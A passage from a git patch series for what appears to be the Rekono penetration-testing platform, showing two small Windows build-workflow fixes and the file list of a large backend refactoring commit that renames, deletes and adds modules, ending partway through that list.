2023 17:07:51 +0200 Subject: [PATCH 006/141] Debug generated EXE --- .github/workflows/desktop-ui.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/desktop-ui.yml b/.github/workflows/desktop-ui.yml index 49758a26f..64dfbe182 100644 --- a/.github/workflows/desktop-ui.yml +++ b/.github/workflows/desktop-ui.yml @@ -71,6 +71,7 @@ jobs: run: | dir ren *.${{ matrix.extension }} %DEB_FILENAME%.${{ matrix.extension }} + dir - name: Upload Desktop UI as GitHub artifact uses: actions/upload-artifact@v3 From 92f528a1d8a88fa5b1b37db0e1114396b0bdf71c Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sun, 9 Jul 2023 17:13:41 +0200 Subject: [PATCH 007/141] Fix generation of Desktop UI in Windows --- .github/workflows/desktop-ui.yml | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/.github/workflows/desktop-ui.yml b/.github/workflows/desktop-ui.yml index 64dfbe182..98268d722 100644 --- a/.github/workflows/desktop-ui.yml +++ b/.github/workflows/desktop-ui.yml @@ -68,10 +68,7 @@ jobs: - name: Change DEB filename if: matrix.os == 'windows-latest' working-directory: src/frontend/dist_electron - run: | - dir - ren *.${{ matrix.extension }} %DEB_FILENAME%.${{ matrix.extension }} - dir + run: ren *.${{ matrix.extension }} ${{ env.DEB_FILENAME }}.${{ matrix.extension }} - name: Upload Desktop UI as GitHub artifact uses: actions/upload-artifact@v3 From 6236b4067cc7e340c1328cb9d8b210affa8f32ca Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 8 Aug 2023 18:37:36 +0200 Subject: [PATCH 008/141] Initial refactoring and code optimization --- .dockerignore | 9 +- .github/workflows/code-style-backend.yml | 24 +- .github/workflows/security-sast.yml | 2 +- .github/workflows/unit-testing.yml | 4 +- .gitignore | 11 +- .pre-commit-config.yaml | 8 +- CONTRIBUTING.md | 2 +- docker/Dockerfile.backend | 2 +- src/backend/.flake8 | 7 - src/backend/.mypy.ini | 2 +- src/backend/api/__init__.py | 1 - src/backend/api/fields.py | 65 - src/backend/api/filters.py | 104 - src/backend/api/log.py | 26 - src/backend/api/pagination.py | 10 - src/backend/api/views.py | 70 - src/backend/authentications/__init__.py | 2 +- src/backend/authentications/admin.py | 3 +- src/backend/authentications/apps.py | 4 +- src/backend/authentications/enums.py | 15 +- src/backend/authentications/filters.py | 30 +- .../migrations/0001_initial.py | 29 - src/backend/authentications/models.py | 89 +- src/backend/authentications/serializers.py | 38 +- src/backend/authentications/views.py | 29 +- src/backend/defectdojo/__init__.py | 1 - src/backend/defectdojo/api.py | 304 - src/backend/defectdojo/constants.py | 4 - src/backend/defectdojo/exceptions.py | 4 - src/backend/defectdojo/reporter.py | 98 - src/backend/email_notifications/__init__.py | 1 - src/backend/email_notifications/constants.py | 3 - src/backend/email_notifications/sender.py | 145 - .../templates/execution_notification.html | 301 - .../templates/user_enable_account.html | 26 - .../templates/user_invitation.html | 22 - .../templates/user_login_notification.html | 24 - .../templates/user_password_reset.html | 22 - .../user_telegram_linked_notification.html | 24 - src/backend/executions/__init__.py | 1 - src/backend/executions/admin.py | 6 - src/backend/executions/apps.py | 7 - src/backend/executions/filters.py | 47 - .../executions/migrations/0001_initial.py | 35 - src/backend/executions/models.py | 43 - src/backend/executions/queue/__init__.py | 1 - src/backend/executions/queue/consumer.py | 54 - src/backend/executions/queue/producer.py | 66 - src/backend/executions/queue/utils.py | 125 - src/backend/executions/serializers.py | 20 - src/backend/executions/urls.py | 9 - src/backend/executions/utils.py | 116 - src/backend/executions/views.py | 19 - src/backend/findings/__init__.py | 1 - src/backend/findings/admin.py | 14 - src/backend/findings/apps.py | 7 - src/backend/findings/enums.py | 61 - src/backend/findings/filters.py | 323 - .../findings/migrations/0001_initial.py | 180 - .../migrations/0002_alter_osint_data_type.py | 18 - src/backend/findings/migrations/__init__.py | 0 src/backend/findings/models.py | 653 - src/backend/findings/nvd_nist.py | 106 - src/backend/findings/queue.py | 77 - src/backend/findings/serializers.py | 128 - src/backend/findings/urls.py | 19 - src/backend/findings/utils.py | 28 - src/backend/findings/views.py | 161 - .../migrations => framework}/__init__.py | 0 src/backend/framework/enums.py | 25 + src/backend/framework/fields.py | 42 + src/backend/framework/models.py | 120 + src/backend/framework/pagination.py | 10 + src/backend/framework/views.py | 12 + src/backend/input_types/__init__.py | 1 - src/backend/input_types/apps.py | 14 +- src/backend/input_types/base.py | 29 - src/backend/input_types/enums.py | 49 +- .../input_types/fixtures/1_input_types.json | 20 +- .../input_types/migrations/0001_initial.py | 23 - .../migrations/0002_auto_20221226_0011.py | 28 - .../input_types/migrations/__init__.py | 0 src/backend/input_types/models.py | 63 +- src/backend/input_types/serializers.py | 15 +- src/backend/input_types/utils.py | 60 - src/backend/likes/__init__.py | 1 - src/backend/likes/filters.py | 27 - src/backend/likes/models.py | 17 - src/backend/likes/serializers.py | 39 - src/backend/likes/views.py | 79 - src/backend/manage.py | 8 +- src/backend/parameters/__init__.py | 1 - src/backend/parameters/admin.py | 1 - src/backend/parameters/apps.py | 4 +- src/backend/parameters/filters.py | 42 +- .../parameters/migrations/0001_initial.py | 45 - src/backend/parameters/migrations/__init__.py | 0 src/backend/parameters/models.py | 111 +- src/backend/parameters/serializers.py | 62 +- src/backend/parameters/views.py | 59 +- src/backend/processes/__init__.py | 1 - src/backend/processes/admin.py | 7 - src/backend/processes/apps.py | 7 - src/backend/processes/executor/__init__.py | 1 - src/backend/processes/executor/callback.py | 34 - src/backend/processes/executor/executor.py | 121 - src/backend/processes/filters.py | 50 - .../processes/fixtures/1_processes.json | 58 - src/backend/processes/fixtures/2_steps.json | 722 - .../processes/migrations/0001_initial.py | 33 - .../processes/migrations/0002_initial.py | 32 - .../processes/migrations/0003_initial.py | 39 - src/backend/processes/migrations/__init__.py | 0 src/backend/processes/models.py | 53 - src/backend/processes/serializers.py | 122 - src/backend/processes/urls.py | 10 - src/backend/processes/views.py | 50 - src/backend/projects/__init__.py | 2 +- src/backend/projects/apps.py | 4 +- src/backend/projects/filters.py | 23 +- .../projects/migrations/0001_initial.py | 27 - .../projects/migrations/0002_initial.py | 35 - src/backend/projects/migrations/__init__.py | 0 src/backend/projects/models.py | 37 +- src/backend/projects/serializers.py | 243 +- src/backend/projects/urls.py | 2 +- src/backend/projects/views.py | 171 +- src/backend/queues/__init__.py | 1 - src/backend/queues/utils.py | 39 - src/backend/rekono/__init__.py | 1 - src/backend/rekono/apps.py | 7 - src/backend/rekono/asgi.py | 9 +- src/backend/rekono/config.py | 147 +- src/backend/rekono/environment.py | 50 - src/backend/rekono/logging.py | 32 + src/backend/rekono/properties.py | 43 + src/backend/rekono/settings.py | 474 +- src/backend/rekono/urls.py | 55 +- src/backend/rekono/wsgi.py | 9 +- src/backend/requirements-dev.txt | 4 + src/backend/requirements.txt | 27 +- src/backend/resources/__init__.py | 1 - src/backend/resources/admin.py | 6 - src/backend/resources/apps.py | 41 - src/backend/resources/filters.py | 22 - .../resources/migrations/0001_initial.py | 31 - .../resources/migrations/0002_initial.py | 28 - .../migrations/0003_alter_wordlist_type.py | 18 - src/backend/resources/migrations/__init__.py | 0 src/backend/resources/models.py | 63 - src/backend/resources/serializers.py | 73 - src/backend/resources/views.py | 36 - src/backend/security/__init__.py | 1 - src/backend/security/apps.py | 27 +- .../security/authorization/__init__.py | 2 +- .../security/authorization/permissions.py | 145 - src/backend/security/authorization/roles.py | 253 +- src/backend/security/crypto.py | 10 +- src/backend/security/csp_header.py | 51 - src/backend/security/input_validation.py | 82 +- src/backend/security/middleware.py | 72 - src/backend/security/otp.py | 24 - src/backend/security/passwords.py | 44 - src/backend/security/serializers.py | 56 - src/backend/security/urls.py | 15 - src/backend/security/views.py | 54 - src/backend/system/__init__.py | 1 - src/backend/system/admin.py | 7 - src/backend/system/apps.py | 52 - src/backend/system/fixtures/1_default.json | 17 - src/backend/system/migrations/0001_initial.py | 30 - src/backend/system/migrations/__init__.py | 0 src/backend/system/models.py | 36 - src/backend/system/serializers.py | 76 - src/backend/system/views.py | 18 - src/backend/target_ports/__init__.py | 1 + src/backend/target_ports/admin.py | 6 + src/backend/target_ports/apps.py | 5 + src/backend/target_ports/filters.py | 18 + src/backend/target_ports/models.py | 66 + src/backend/target_ports/serializers.py | 22 + src/backend/{system => target_ports}/urls.py | 5 +- src/backend/target_ports/views.py | 25 + src/backend/targets/__init__.py | 2 +- src/backend/targets/admin.py | 4 +- src/backend/targets/apps.py | 4 +- src/backend/targets/filters.py | 47 +- .../targets/migrations/0001_initial.py | 86 - .../migrations/0002_auto_20230108_1356.py | 22 - src/backend/targets/migrations/__init__.py | 0 src/backend/targets/models.py | 231 +- src/backend/targets/serializers.py | 83 +- src/backend/targets/urls.py | 6 +- src/backend/targets/utils.py | 57 - src/backend/targets/views.py | 56 +- src/backend/tasks/__init__.py | 1 - src/backend/tasks/admin.py | 6 - src/backend/tasks/apps.py | 7 - src/backend/tasks/enums.py | 25 - src/backend/tasks/filters.py | 33 - src/backend/tasks/migrations/0001_initial.py | 36 - src/backend/tasks/migrations/0002_initial.py | 47 - src/backend/tasks/migrations/__init__.py | 0 src/backend/tasks/models.py | 66 - src/backend/tasks/queue.py | 78 - src/backend/tasks/serializers.py | 121 - src/backend/tasks/services.py | 52 - src/backend/tasks/urls.py | 9 - src/backend/tasks/views.py | 86 - src/backend/telegram_bot/__init__.py | 1 - src/backend/telegram_bot/admin.py | 6 - src/backend/telegram_bot/apps.py | 7 - src/backend/telegram_bot/bot.py | 174 - src/backend/telegram_bot/commands/__init__.py | 1 - src/backend/telegram_bot/commands/basic.py | 47 - src/backend/telegram_bot/commands/help.py | 24 - .../telegram_bot/commands/selection.py | 40 - src/backend/telegram_bot/context.py | 13 - .../telegram_bot/conversations/__init__.py | 1 - src/backend/telegram_bot/conversations/ask.py | 322 - .../telegram_bot/conversations/cancel.py | 27 - .../telegram_bot/conversations/execute.py | 136 - .../conversations/new_authentication.py | 107 - .../conversations/new_input_technology.py | 94 - .../conversations/new_input_vulnerability.py | 90 - .../telegram_bot/conversations/new_target.py | 80 - .../conversations/new_target_port.py | 102 - .../conversations/select_project.py | 20 - .../telegram_bot/conversations/selection.py | 271 - .../telegram_bot/conversations/states.py | 14 - .../telegram_bot/management/__init__.py | 1 - .../management/commands/__init__.py | 1 - .../management/commands/telegram_bot.py | 17 - src/backend/telegram_bot/messages/__init__.py | 1 - src/backend/telegram_bot/messages/ask.py | 22 - src/backend/telegram_bot/messages/basic.py | 15 - .../telegram_bot/messages/constants.py | 3 - .../telegram_bot/messages/conversations.py | 3 - src/backend/telegram_bot/messages/errors.py | 23 - .../telegram_bot/messages/execution.py | 146 - src/backend/telegram_bot/messages/findings.py | 78 - src/backend/telegram_bot/messages/help.py | 63 - .../telegram_bot/messages/parameters.py | 10 - .../telegram_bot/messages/selection.py | 14 - src/backend/telegram_bot/messages/targets.py | 8 - .../telegram_bot/migrations/0001_initial.py | 25 - .../migrations/0002_telegramchat_user.py | 23 - .../telegram_bot/migrations/__init__.py | 0 src/backend/telegram_bot/models.py | 21 - src/backend/telegram_bot/security.py | 52 - src/backend/telegram_bot/sender.py | 21 - src/backend/telegram_bot/token.py | 35 - src/backend/testing/__init__.py | 1 - src/backend/testing/api/__init__.py | 1 - src/backend/testing/api/base.py | 207 - .../testing/api/test_authentications.py | 57 - src/backend/testing/api/test_executions.py | 47 - src/backend/testing/api/test_findings.py | 133 - src/backend/testing/api/test_parameters.py | 75 - src/backend/testing/api/test_processes.py | 134 - src/backend/testing/api/test_projects.py | 208 - src/backend/testing/api/test_resources.py | 115 - src/backend/testing/api/test_security.py | 77 - src/backend/testing/api/test_system.py | 44 - src/backend/testing/api/test_targets.py | 81 - src/backend/testing/api/test_tasks.py | 150 - src/backend/testing/api/test_tools.py | 57 - src/backend/testing/api/test_users.py | 225 - .../testing/data/reports/cmseek/dvwp.json | 13 - .../testing/data/reports/cmseek/joomla.json | 18 - .../testing/data/reports/cmseek/vwp.json | 296 - .../data/reports/cmseek/wordpress.json | 14 - .../data/reports/dirsearch/default.json | 144 - .../data/reports/emailfinder/default.txt | 31 - .../data/reports/emailharvester/default.txt | 5 - .../data/reports/gitleaks/leaky-repo.json | 128 - .../testing/data/reports/gobuster/dir.txt | 13 - .../testing/data/reports/gobuster/dns.txt | 2 - .../testing/data/reports/gobuster/vhost.txt | 23 - .../data/reports/joomscan/exploitable.txt | 90 - .../data/reports/joomscan/not-exploitable.txt | 57 - .../data/reports/joomscan/not-joomla.txt | 24 - .../reports/log4j_scan/cve_2021_44228.txt | 34 - .../reports/log4j_scan/not_vulnerable.txt | 10 - .../data/reports/metasploit/exploits.txt | 14 - .../data/reports/metasploit/nothing.txt | 1 - .../testing/data/reports/nikto/default.xml | 78 - .../data/reports/nmap/enumeration-vulners.xml | 973 - .../data/reports/nmap/ftp-vulnerabilities.xml | 117 - .../data/reports/nmap/smb-analysis.xml | 131 - .../testing/data/reports/nmap/smb-users.xml | 107 - .../data/reports/nuclei/tech_and_vulns.json | 11 - .../data/reports/searchsploit/exploits.json | 30 - .../data/reports/searchsploit/nothing.json | 7 - .../data/reports/smbmap/directories.txt | 8 - .../testing/data/reports/smbmap/shares.txt | 5 - .../spring4shell_scan/cve_2022_22963.txt | 12 - .../spring4shell_scan/cve_2022_22965.txt | 12 - .../spring4shell_scan/not_vulnerable.txt | 10 - .../data/reports/ssh_audit/cve_2018_10933.txt | 73 - .../data/reports/ssh_audit/cve_2018_15473.txt | 73 - .../data/reports/sslscan/heartbleed.xml | 48 - .../sslscan/insecure-renegotiation.xml | 42 - .../data/reports/sslscan/protocols.xml | 55 - .../sslyze/insecure-renegotiation.json | 4316 - .../data/reports/sslyze/protocols.json | 4414 - .../data/reports/sslyze/vulnerabilities.json | 6399 - .../data/reports/theharvester/scanme.json | 16 - .../testing/data/reports/zap/active-scan.xml | 339 - .../data/resources/endpoints_wordlist_1.txt | 3 - .../data/resources/endpoints_wordlist_2.txt | 3 - .../data/resources/invalid_extension.pdf | Bin 25 -> 0 bytes .../data/resources/invalid_mime_type.txt | Bin 4478 -> 0 bytes .../testing/data/resources/invalid_size.txt | 209927 --------------- .../data/resources/passwords_wordlist.txt | 3 - src/backend/testing/executions/__init__.py | 1 - .../testing/executions/test_base_tool.py | 661 - .../test_executions_from_findings.py | 202 - src/backend/testing/integrations/__init__.py | 1 - .../testing/integrations/test_nvd_nist.py | 46 - src/backend/testing/mocks/__init__.py | 1 - src/backend/testing/mocks/defectdojo.py | 30 - src/backend/testing/mocks/nvd_nist.py | 72 - src/backend/testing/test_case.py | 27 - src/backend/testing/tools/__init__.py | 1 - src/backend/testing/tools/base.py | 93 - src/backend/testing/tools/test_cmseek.py | 146 - src/backend/testing/tools/test_dirsearch.py | 37 - src/backend/testing/tools/test_emailfinder.py | 20 - .../testing/tools/test_emailharvester.py | 20 - src/backend/testing/tools/test_gitleaks.py | 50 - src/backend/testing/tools/test_gobuster.py | 62 - src/backend/testing/tools/test_joomscan.py | 132 - src/backend/testing/tools/test_log4j_scan.py | 19 - src/backend/testing/tools/test_metasploit.py | 38 - src/backend/testing/tools/test_nitkto.py | 107 - src/backend/testing/tools/test_nmap.py | 242 - src/backend/testing/tools/test_nuclei.py | 97 - .../testing/tools/test_searchsploit.py | 152 - src/backend/testing/tools/test_smbmap.py | 30 - .../testing/tools/test_spring4shell_scan.py | 26 - src/backend/testing/tools/test_ssh_audit.py | 49 - src/backend/testing/tools/test_sslscan.py | 185 - src/backend/testing/tools/test_sslyze.py | 133 - .../testing/tools/test_theharvester.py | 22 - src/backend/testing/tools/test_zap.py | 137 - src/backend/tools/__init__.py | 1 - src/backend/tools/admin.py | 10 - src/backend/tools/apps.py | 47 - src/backend/tools/enums.py | 23 - src/backend/tools/exceptions.py | 4 - src/backend/tools/executor/__init__.py | 1 - src/backend/tools/executor/callback.py | 22 - src/backend/tools/executor/executor.py | 47 - src/backend/tools/filters.py | 45 - src/backend/tools/fixtures/1_tools.json | 242 - src/backend/tools/fixtures/2_intensities.json | 317 - .../tools/fixtures/3_configurations.json | 530 - src/backend/tools/fixtures/4_arguments.json | 453 - src/backend/tools/fixtures/5_inputs.json | 562 - src/backend/tools/fixtures/6_outputs.json | 770 - src/backend/tools/migrations/0001_initial.py | 71 - src/backend/tools/migrations/0002_initial.py | 75 - .../migrations/0003_auto_20230105_1642.py | 23 - src/backend/tools/migrations/__init__.py | 0 src/backend/tools/models.py | 143 - src/backend/tools/serializers.py | 177 - src/backend/tools/tools/__init__.py | 1 - src/backend/tools/tools/base_tool.py | 514 - src/backend/tools/tools/cmseek.py | 182 - src/backend/tools/tools/dirsearch.py | 26 - src/backend/tools/tools/emailfinder.py | 24 - src/backend/tools/tools/emailharvester.py | 15 - src/backend/tools/tools/gitleaks.py | 96 - src/backend/tools/tools/gobuster.py | 63 - src/backend/tools/tools/joomscan.py | 102 - src/backend/tools/tools/log4j_scan.py | 23 - src/backend/tools/tools/metasploit.py | 20 - src/backend/tools/tools/nikto.py | 33 - src/backend/tools/tools/nmap.py | 340 - src/backend/tools/tools/nuclei.py | 53 - src/backend/tools/tools/searchsploit.py | 21 - src/backend/tools/tools/smbmap.py | 24 - src/backend/tools/tools/spring4shell_scan.py | 26 - src/backend/tools/tools/ssh_audit.py | 56 - src/backend/tools/tools/sslscan.py | 98 - src/backend/tools/tools/sslyze.py | 145 - src/backend/tools/tools/theharvester.py | 34 - src/backend/tools/tools/zap.py | 77 - src/backend/tools/urls.py | 10 - src/backend/tools/utils.py | 22 - src/backend/tools/views.py | 43 - src/backend/users/__init__.py | 1 - src/backend/users/admin.py | 7 - src/backend/users/apps.py | 28 - src/backend/users/enums.py | 11 - src/backend/users/filters.py | 80 - src/backend/users/migrations/0001_initial.py | 50 - src/backend/users/migrations/__init__.py | 0 src/backend/users/models.py | 179 - src/backend/users/serializers.py | 389 - src/backend/users/urls.py | 25 - src/backend/users/views.py | 249 - .../migrations => wordlists}/__init__.py | 0 src/backend/wordlists/admin.py | 6 + src/backend/wordlists/apps.py | 41 + src/backend/{resources => wordlists}/enums.py | 0 src/backend/wordlists/filters.py | 17 + .../fixtures/1_wordlists.json | 0 src/backend/wordlists/models.py | 66 + src/backend/wordlists/serializers.py | 92 + src/backend/{resources => wordlists}/urls.py | 0 src/backend/wordlists/views.py | 41 + 413 files changed, 1839 insertions(+), 250177 deletions(-) delete mode 100644 src/backend/.flake8 delete mode 100644 src/backend/api/__init__.py delete mode 100644 src/backend/api/fields.py delete mode 100644 src/backend/api/filters.py delete mode 100644 src/backend/api/log.py delete mode 100644 src/backend/api/pagination.py delete mode 100644 src/backend/api/views.py delete mode 100644 src/backend/authentications/migrations/0001_initial.py delete mode 100644 src/backend/defectdojo/__init__.py delete mode 100644 src/backend/defectdojo/api.py delete mode 100644 src/backend/defectdojo/constants.py delete mode 100644 src/backend/defectdojo/exceptions.py delete mode 100644 src/backend/defectdojo/reporter.py delete mode 100644 src/backend/email_notifications/__init__.py delete mode 100644 src/backend/email_notifications/constants.py delete mode 100644 src/backend/email_notifications/sender.py delete mode 100644 src/backend/email_notifications/templates/execution_notification.html delete mode 100644 src/backend/email_notifications/templates/user_enable_account.html delete mode 100644 src/backend/email_notifications/templates/user_invitation.html delete mode 100644 src/backend/email_notifications/templates/user_login_notification.html delete mode 100644 src/backend/email_notifications/templates/user_password_reset.html delete mode 100644 src/backend/email_notifications/templates/user_telegram_linked_notification.html delete mode 100644 src/backend/executions/__init__.py delete mode 100644 src/backend/executions/admin.py delete mode 100644 src/backend/executions/apps.py delete mode 100644 src/backend/executions/filters.py delete mode 100644 src/backend/executions/migrations/0001_initial.py delete mode 100644 src/backend/executions/models.py delete mode 100644 src/backend/executions/queue/__init__.py delete mode 100644 src/backend/executions/queue/consumer.py delete mode 100644 src/backend/executions/queue/producer.py delete mode 100644 src/backend/executions/queue/utils.py delete mode 100644 src/backend/executions/serializers.py delete mode 100644 src/backend/executions/urls.py delete mode 100644 src/backend/executions/utils.py delete mode 100644 src/backend/executions/views.py delete mode 100644 src/backend/findings/__init__.py delete mode 100644 src/backend/findings/admin.py delete mode 100644 src/backend/findings/apps.py delete mode 100644 src/backend/findings/enums.py delete mode 100644 src/backend/findings/filters.py delete mode 100644 src/backend/findings/migrations/0001_initial.py delete mode 100644 src/backend/findings/migrations/0002_alter_osint_data_type.py delete mode 100644 src/backend/findings/migrations/__init__.py delete mode 100644 src/backend/findings/models.py delete mode 100644 src/backend/findings/nvd_nist.py delete mode 100644 src/backend/findings/queue.py delete mode 100644 src/backend/findings/serializers.py delete mode 100644 src/backend/findings/urls.py delete mode 100644 src/backend/findings/utils.py delete mode 100644 src/backend/findings/views.py rename src/backend/{authentications/migrations => framework}/__init__.py (100%) create mode 100644 src/backend/framework/enums.py create mode 100644 src/backend/framework/fields.py create mode 100644 src/backend/framework/models.py create mode 100644 src/backend/framework/pagination.py create mode 100644 src/backend/framework/views.py delete mode 100644 src/backend/input_types/base.py delete mode 100644 src/backend/input_types/migrations/0001_initial.py delete mode 100644 src/backend/input_types/migrations/0002_auto_20221226_0011.py delete mode 100644 src/backend/input_types/migrations/__init__.py delete mode 100644 src/backend/input_types/utils.py delete mode 100644 src/backend/likes/__init__.py delete mode 100644 src/backend/likes/filters.py delete mode 100644 src/backend/likes/models.py delete mode 100644 src/backend/likes/serializers.py delete mode 100644 src/backend/likes/views.py delete mode 100644 src/backend/parameters/migrations/0001_initial.py delete mode 100644 src/backend/parameters/migrations/__init__.py delete mode 100644 src/backend/processes/__init__.py delete mode 100644 src/backend/processes/admin.py delete mode 100644 src/backend/processes/apps.py delete mode 100644 src/backend/processes/executor/__init__.py delete mode 100644 src/backend/processes/executor/callback.py delete mode 100644 src/backend/processes/executor/executor.py delete mode 100644 src/backend/processes/filters.py delete mode 100644 src/backend/processes/fixtures/1_processes.json delete mode 100644 src/backend/processes/fixtures/2_steps.json delete mode 100644 src/backend/processes/migrations/0001_initial.py delete mode 100644 src/backend/processes/migrations/0002_initial.py delete mode 100644 src/backend/processes/migrations/0003_initial.py delete mode 100644 src/backend/processes/migrations/__init__.py delete mode 100644 src/backend/processes/models.py delete mode 100644 src/backend/processes/serializers.py delete mode 100644 src/backend/processes/urls.py delete mode 100644 src/backend/processes/views.py delete mode 100644 src/backend/projects/migrations/0001_initial.py delete mode 100644 src/backend/projects/migrations/0002_initial.py delete mode 100644 src/backend/projects/migrations/__init__.py delete mode 100644 src/backend/queues/__init__.py delete mode 100644 src/backend/queues/utils.py delete mode 100644 src/backend/rekono/apps.py delete mode 100644 src/backend/rekono/environment.py create mode 100644 src/backend/rekono/logging.py create mode 100644 src/backend/rekono/properties.py create mode 100644 src/backend/requirements-dev.txt delete mode 100644 src/backend/resources/__init__.py delete mode 100644 src/backend/resources/admin.py delete mode 100644 src/backend/resources/apps.py delete mode 100644 src/backend/resources/filters.py delete mode 100644 src/backend/resources/migrations/0001_initial.py delete mode 100644 src/backend/resources/migrations/0002_initial.py delete mode 100644 src/backend/resources/migrations/0003_alter_wordlist_type.py delete mode 100644 src/backend/resources/migrations/__init__.py delete mode 100644 src/backend/resources/models.py delete mode 100644 src/backend/resources/serializers.py delete mode 100644 src/backend/resources/views.py delete mode 100644 src/backend/security/authorization/permissions.py delete mode 100644 src/backend/security/csp_header.py delete mode 100644 src/backend/security/middleware.py delete mode 100644 src/backend/security/otp.py delete mode 100644 src/backend/security/passwords.py delete mode 100644 src/backend/security/serializers.py delete mode 100644 src/backend/security/urls.py delete mode 100644 src/backend/security/views.py delete mode 100644 src/backend/system/__init__.py delete mode 100644 src/backend/system/admin.py delete mode 100644 src/backend/system/apps.py delete mode 100644 src/backend/system/fixtures/1_default.json delete mode 100644 src/backend/system/migrations/0001_initial.py delete mode 100644 src/backend/system/migrations/__init__.py delete mode 100644 src/backend/system/models.py delete mode 100644 src/backend/system/serializers.py delete mode 100644 src/backend/system/views.py create mode 100644 src/backend/target_ports/__init__.py create mode 100644 src/backend/target_ports/admin.py create mode 100644 src/backend/target_ports/apps.py create mode 100644 src/backend/target_ports/filters.py create mode 100644 src/backend/target_ports/models.py create mode 100644 src/backend/target_ports/serializers.py rename src/backend/{system => target_ports}/urls.py (56%) create mode 100644 src/backend/target_ports/views.py delete mode 100644 src/backend/targets/migrations/0001_initial.py delete mode 100644 src/backend/targets/migrations/0002_auto_20230108_1356.py delete mode 100644 src/backend/targets/migrations/__init__.py delete mode 100644 src/backend/targets/utils.py delete mode 100644 src/backend/tasks/__init__.py delete mode 100644 src/backend/tasks/admin.py delete mode 100644 src/backend/tasks/apps.py delete mode 100644 src/backend/tasks/enums.py delete mode 100644 src/backend/tasks/filters.py delete mode 100644 src/backend/tasks/migrations/0001_initial.py delete mode 100644 src/backend/tasks/migrations/0002_initial.py delete mode 100644 src/backend/tasks/migrations/__init__.py delete mode 100644 src/backend/tasks/models.py delete mode 100644 src/backend/tasks/queue.py delete mode 100644 src/backend/tasks/serializers.py delete mode 100644 src/backend/tasks/services.py delete mode 100644 src/backend/tasks/urls.py delete mode 100644 src/backend/tasks/views.py delete mode 100644 src/backend/telegram_bot/__init__.py delete mode 100644 src/backend/telegram_bot/admin.py delete mode 100644 src/backend/telegram_bot/apps.py delete mode 100644 src/backend/telegram_bot/bot.py delete mode 100644 src/backend/telegram_bot/commands/__init__.py delete mode 100644 src/backend/telegram_bot/commands/basic.py delete mode 100644 src/backend/telegram_bot/commands/help.py delete mode 100644 src/backend/telegram_bot/commands/selection.py delete mode 100644 src/backend/telegram_bot/context.py delete mode 100644 src/backend/telegram_bot/conversations/__init__.py delete mode 100644 src/backend/telegram_bot/conversations/ask.py delete mode 100644 src/backend/telegram_bot/conversations/cancel.py delete mode 100644 src/backend/telegram_bot/conversations/execute.py delete mode 100644 src/backend/telegram_bot/conversations/new_authentication.py delete mode 100644 src/backend/telegram_bot/conversations/new_input_technology.py delete mode 100644 src/backend/telegram_bot/conversations/new_input_vulnerability.py delete mode 100644 src/backend/telegram_bot/conversations/new_target.py delete mode 100644 src/backend/telegram_bot/conversations/new_target_port.py delete mode 100644 src/backend/telegram_bot/conversations/select_project.py delete mode 100644 src/backend/telegram_bot/conversations/selection.py delete mode 100644 src/backend/telegram_bot/conversations/states.py delete mode 100644 src/backend/telegram_bot/management/__init__.py delete mode 100644 src/backend/telegram_bot/management/commands/__init__.py delete mode 100644 src/backend/telegram_bot/management/commands/telegram_bot.py delete mode 100644 src/backend/telegram_bot/messages/__init__.py delete mode 100644 src/backend/telegram_bot/messages/ask.py delete mode 100644 src/backend/telegram_bot/messages/basic.py delete mode 100644 src/backend/telegram_bot/messages/constants.py delete mode 100644 src/backend/telegram_bot/messages/conversations.py delete mode 100644 src/backend/telegram_bot/messages/errors.py delete mode 100644 src/backend/telegram_bot/messages/execution.py delete mode 100644 src/backend/telegram_bot/messages/findings.py delete mode 100644 src/backend/telegram_bot/messages/help.py delete mode 100644 src/backend/telegram_bot/messages/parameters.py delete mode 100644 src/backend/telegram_bot/messages/selection.py delete mode 100644 src/backend/telegram_bot/messages/targets.py delete mode 100644 src/backend/telegram_bot/migrations/0001_initial.py delete mode 100644 src/backend/telegram_bot/migrations/0002_telegramchat_user.py delete mode 100644 src/backend/telegram_bot/migrations/__init__.py delete mode 100644 src/backend/telegram_bot/models.py delete mode 100644 src/backend/telegram_bot/security.py delete mode 100644 src/backend/telegram_bot/sender.py delete mode 100644 src/backend/telegram_bot/token.py delete mode 100644 src/backend/testing/__init__.py delete mode 100644 src/backend/testing/api/__init__.py delete mode 100644 src/backend/testing/api/base.py delete mode 100644 src/backend/testing/api/test_authentications.py delete mode 100644 src/backend/testing/api/test_executions.py delete mode 100644 src/backend/testing/api/test_findings.py delete mode 100644 src/backend/testing/api/test_parameters.py delete mode 100644 src/backend/testing/api/test_processes.py delete mode 100644 src/backend/testing/api/test_projects.py delete mode 100644 src/backend/testing/api/test_resources.py delete mode 100644 src/backend/testing/api/test_security.py delete mode 100644 src/backend/testing/api/test_system.py delete mode 100644 src/backend/testing/api/test_targets.py delete mode 100644 src/backend/testing/api/test_tasks.py delete mode 100644 src/backend/testing/api/test_tools.py delete mode 100644 src/backend/testing/api/test_users.py delete mode 100644 src/backend/testing/data/reports/cmseek/dvwp.json delete mode 100644 src/backend/testing/data/reports/cmseek/joomla.json delete mode 100644 src/backend/testing/data/reports/cmseek/vwp.json delete mode 100644 src/backend/testing/data/reports/cmseek/wordpress.json delete mode 100644 src/backend/testing/data/reports/dirsearch/default.json delete mode 100644 src/backend/testing/data/reports/emailfinder/default.txt delete mode 100644 src/backend/testing/data/reports/emailharvester/default.txt delete mode 100644 src/backend/testing/data/reports/gitleaks/leaky-repo.json delete mode 100644 src/backend/testing/data/reports/gobuster/dir.txt delete mode 100644 src/backend/testing/data/reports/gobuster/dns.txt delete mode 100644 src/backend/testing/data/reports/gobuster/vhost.txt delete mode 100644 src/backend/testing/data/reports/joomscan/exploitable.txt delete mode 100644 src/backend/testing/data/reports/joomscan/not-exploitable.txt delete mode 100644 src/backend/testing/data/reports/joomscan/not-joomla.txt delete mode 100644 src/backend/testing/data/reports/log4j_scan/cve_2021_44228.txt delete mode 100644 src/backend/testing/data/reports/log4j_scan/not_vulnerable.txt delete mode 100644 src/backend/testing/data/reports/metasploit/exploits.txt delete mode 100644 src/backend/testing/data/reports/metasploit/nothing.txt delete mode 100644 src/backend/testing/data/reports/nikto/default.xml delete mode 100644 src/backend/testing/data/reports/nmap/enumeration-vulners.xml delete mode 100644 src/backend/testing/data/reports/nmap/ftp-vulnerabilities.xml delete mode 100644 src/backend/testing/data/reports/nmap/smb-analysis.xml delete mode 100644 src/backend/testing/data/reports/nmap/smb-users.xml delete mode 100644 